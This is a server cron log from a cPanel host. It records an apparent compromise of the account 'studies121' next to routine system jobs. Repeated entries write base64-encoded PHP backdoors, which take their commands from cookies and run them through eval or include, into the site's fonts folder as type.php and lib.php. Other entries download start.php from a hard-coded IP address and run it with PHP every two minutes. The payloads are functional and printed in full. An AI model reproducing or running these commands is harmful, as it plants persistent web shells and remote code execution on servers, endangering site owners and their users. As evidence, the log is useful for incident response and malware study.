Sep  2 17:53:01 ip-184-168-122-23 CROND[22835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:53:01 ip-184-168-122-23 CROND[22834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:53:01 ip-184-168-122-23 CROND[22836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:54:01 ip-184-168-122-23 CROND[22939]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:54:01 ip-184-168-122-23 CROND[22942]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 17:54:01 ip-184-168-122-23 CROND[22941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:54:01 ip-184-168-122-23 CROND[22943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:54:01 ip-184-168-122-23 CROND[22944]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:55:01 ip-184-168-122-23 CROND[23034]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:55:01 ip-184-168-122-23 CROND[23040]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:55:01 ip-184-168-122-23 CROND[23041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:55:01 ip-184-168-122-23 CROND[23045]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 17:55:01 ip-184-168-122-23 CROND[23044]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 17:55:01 ip-184-168-122-23 CROND[23043]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:56:01 ip-184-168-122-23 CROND[23135]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:56:01 ip-184-168-122-23 CROND[23137]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:56:01 ip-184-168-122-23 CROND[23136]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 17:56:01 ip-184-168-122-23 CROND[23140]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:56:01 ip-184-168-122-23 CROND[23139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:57:01 ip-184-168-122-23 CROND[23314]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:57:01 ip-184-168-122-23 CROND[23315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:57:01 ip-184-168-122-23 CROND[23316]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:57:01 ip-184-168-122-23 CROND[23313]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:58:01 ip-184-168-122-23 CROND[23422]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 17:58:01 ip-184-168-122-23 CROND[23423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:58:01 ip-184-168-122-23 CROND[23424]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:58:01 ip-184-168-122-23 CROND[23429]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:58:01 ip-184-168-122-23 CROND[23427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:59:01 ip-184-168-122-23 CROND[23505]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:59:01 ip-184-168-122-23 CROND[23506]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:59:01 ip-184-168-122-23 CROND[23509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:59:01 ip-184-168-122-23 CROND[23510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:00:01 ip-184-168-122-23 CROND[23601]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 18:00:01 ip-184-168-122-23 CROND[23606]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 18:00:01 ip-184-168-122-23 CROND[23612]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:00:01 ip-184-168-122-23 CROND[23610]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  2 18:00:01 ip-184-168-122-23 CROND[23608]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:00:01 ip-184-168-122-23 CROND[23613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:00:01 ip-184-168-122-23 CROND[23609]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 18:00:01 ip-184-168-122-23 CROND[23614]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 18:00:01 ip-184-168-122-23 CROND[23611]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:01:01 ip-184-168-122-23 CROND[23716]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:01:01 ip-184-168-122-23 CROND[23718]: (root) CMD (run-parts /etc/cron.hourly)
Sep  2 18:01:01 ip-184-168-122-23 CROND[23720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:01:01 ip-184-168-122-23 CROND[23719]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:01:01 ip-184-168-122-23 CROND[23722]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 18:01:01 ip-184-168-122-23 CROND[23724]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[23718]: starting 0anacron
Sep  2 18:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[23737]: finished 0anacron
Sep  2 18:02:01 ip-184-168-122-23 CROND[23825]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:02:01 ip-184-168-122-23 CROND[23830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:02:01 ip-184-168-122-23 CROND[23829]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 18:02:01 ip-184-168-122-23 CROND[23831]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:02:01 ip-184-168-122-23 CROND[23828]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:03:01 ip-184-168-122-23 CROND[23935]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:03:01 ip-184-168-122-23 CROND[23937]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:03:01 ip-184-168-122-23 CROND[23939]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:03:01 ip-184-168-122-23 CROND[23940]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:04:01 ip-184-168-122-23 CROND[24022]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:04:01 ip-184-168-122-23 CROND[24023]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 18:04:01 ip-184-168-122-23 CROND[24027]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:04:01 ip-184-168-122-23 CROND[24026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:04:01 ip-184-168-122-23 CROND[24028]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:05:01 ip-184-168-122-23 CROND[24219]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
